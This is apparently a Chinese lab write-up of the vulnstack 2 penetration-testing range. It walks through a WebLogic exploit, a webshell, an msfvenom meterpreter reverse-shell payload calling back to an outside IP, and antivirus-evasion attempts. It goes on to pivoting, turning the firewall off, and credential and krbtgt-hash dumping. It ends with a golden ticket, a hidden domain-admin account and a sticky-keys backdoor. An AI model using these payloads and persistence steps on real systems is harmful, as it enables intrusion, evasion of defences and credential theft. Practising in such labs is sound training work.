vulnstack 2 靶场,练一下,学习一下
环境配置
同样地,各虚拟机配置:
1 | WEB WinServer2008 x64 |
这边WEB机的服务器登录的时候会显示密码错误,需要恢复一下快照才能够正常执行
配置网卡:
内网VMet2的子网地址为10.10.10.0
VMet8还是使用NAT
模式,子网地址192.168.239.0
然后配置一下网卡:
WEB跟PC两张网卡,一张外网一张内网
这边由于作者写了它的公网ip段是111,所以这边改一下,改成了192.168.239.80,默认网关改为192.168.239.0
PC机和WEB一样
PC:
WEB:
DC就只用一张网卡:
然后到WEB机,打开C:\Oracle\Middleware\user_projects\domains\base_domain\bin
以管理员身份分别运行setDomainENVa
,startManageWeblogic
,startWeblogic
汇总一下配置:
1 | WEB: 对外的服务器 |
开打
信息收集
拿kscan扫一下WEB服务:
可以看到开了
1 | mssql 1433 |
其中7001是weblogic服务
访问一下:
这里直接访问是Error404,这里可以简单开扫一下:
扫到console可以进
weblogic 10.3.6.0
外网打点
拿liqunkit看看能不能爆weblogic
传一下冰蝎的webshell,liqunkit好像不太行,这边换WeblogicExploit(java端的我喜欢用冰蝎)
GitHub - sp4zcmd/WeblogicExploit-GUI: Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行
连接一下
可以上线msf了
这边还可以利用冰蝎反弹shell
按照冰蝎上面的方法操作msf就行了
这边选2333端口打过来,meterpreter连上了
如果用传统的shell执行来弹msf,发现不行,怀疑有杀软。
这时候tasklist一下:
1 | 映像名称 PID 会话名 会话# 内存使用 |
然后复制到:
Windows杀软在线对比 (saucer-man.com)
发现了360
这边把冰蝎的shell派生给cs
1 | background |
发现不行,java的派生不了给msf?
那接下来就两条路了,一是拿msf打
二是做免杀,然后派生cs然后getshell
总之先看msf打法:
内网信息收集 (1)
先看域信息
ipconfig :
发现10.10.10.0网段
systeminfo:
net view失败:
确认域内电脑:
shell直接给我弹出去了,无敌
想getsystem,根本不行
得,java的反弹shell根本不行,还是得去做免杀
免杀
用msf自带的自捆绑+编码方式尝试
-
自捆绑:使用msfvenom的
-x
参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x
后跟对应文件路径即可 -
编码:使用
msfvenom --list encoders
可以查看所有的编码器,评级最高的就是cmd/powershell_base64
和x86/shikata_ga_nai
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=106.52.94.23 LPORT=2333 -e x86/shikata_ga_nai -x Medicine.exe -i 15 -f exe -o payload4.exe |
吗的,还是被发现了,这360这么牛逼
用ShellCode_Loader也被拦。。。
服了。。 可能是病毒库更新了
寄,还真是。2024年3月22的了
那这边只能手动通过一下了,我操了
内网信息收集(2)
getsystem好像不行。只能先收集点信息
域控:
用户:
域管:
传fscan扫内网,淦,冰蝎传不上:
试试蚁剑打内存马
可以了,蚁剑能正常传fscan
之前有个10.10.10网段的,开扫
?不给运行???
算了
那就搭socks代理进去吧
添加路由是为了让msf内的模块能够访问到内网服务,而搭socks代理能够让我们的软件访问到内网
添加路由
1 | run autoroute -s 10.10.10.0/24 |
添加socks4
1 | use auxiliary/server/socks_proxy |
这里先background一下,后面用sessions -i session_id
加完之后就可以用nmap扫了,也可以用msf里的auxiliary/scanner/udp_probe
进行探测
这个udp_probe慢的一批,我只能说
如果用其他软件对内网进行扫描的话要加proxychains4
通过proxychains4进行nmap扫描必须要添加以下参数
1 | -sT 全开扫描,完成三次握手 |
1 | proxychains4 nmap ip -sT -Pn -p |
这里我的是3.1,所以改成proxychains
这里测试以下前面udp_probe爆出来的53端口来验证是否代理成功
不是system权限,kiwi爆不出来
总结一下:
1 | ipconfig 发现10.10.10.0内网网段 |
派生cs
1 | background |
弹过来了
权限提升
试试提权,这里得把360关了,服。这就是最新病毒库吗
不然就是提不了一点
关闭防火墙
1 | shell netsh advfirewall set allprofiles state off |
导出哈希,logonpasswords
导出了Administrator的密码和mssql的密码:
1 | Administrator hongrisec@2019 |
这里爆出了SID为500的域管账号(也就是Administrator)
横向移动
201机子还没被扫出来,太神奇了
这边先拿DC,用爆出来的管理员hash横向移动:
这里是拿下DC了,但是PC还是扫不出来。。。?
这就很离谱
总之拿下DC之后进行权限维持
黄金票据
如图,cobalt strike已经给你准备好了
说到黄金票据那就不得不说Kerberos协议
Kerberos协议其实是windows的一个域认证常用协议
其大致流程如下:
- 登录:客户端用户A输入用户名密码
- 认证:系统验证用户A身份
- 授权:系统授权客户端用户A访问服务S
- 请求服务:客户端用户A往服务S发送请求
其中参与到的角色有:
- Client:Application Client应用客户端
- AS:Authentication Server 认证服务器,用于认证用户身份
- TGS:Ticket-Granting Service 用来授权服务访问
- SS:Service Server 用户请求的服务S
打个比方,整个过程就是:你想坐飞机,但是机场告诉你必须有机票(TGT)才可以登机,接着你去购票处(AS)出示身份证(Client name)购买了一张机票(TGT),你拿着机票登机,在检票处(TGS)出示机票,服务人员告诉了你的座位号(Ticket),然后就可以坐到自己的位置上。
黄金票据的大致原理就是伪造krbtgt
用户的TGT票据,krbtgt
用户是域中的用于管理发放票据的用户,如果拥有了它的权限,就可以伪造系统中的任意用户
前提条件:
- 已经获得DC的管理员权限
- 获取到krbtgt用户的hash值
需要的东西:
- sid
- krbtgt的密码hash值
1 | //获取自己的sid值,下面都可以 |
当然,logonpasswords之前就已经爆出来了:
1 | S-1-5-21-2756371121-2868759905-3853650604-500 |
然后爆krbtgt的密码hash值,其实就是hashdump(这里要在DC机上爆)
1 | krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb::: |
在web机生成黄金票据
在web机查看域控的C盘
1 | shell dir \\10.10.10.10\c$ |
看一下扫不出来的PC能不能看
然并卵
拿到黄金票据之后还可以进一步操作,生成一个影子域管理员
1 | shell net user test$ 123Adf.. /add /domain |
粘滞键后门
这个用msfconsole
里的post/windows/manager/sticky_keys
就行了,但是要有DC的system权限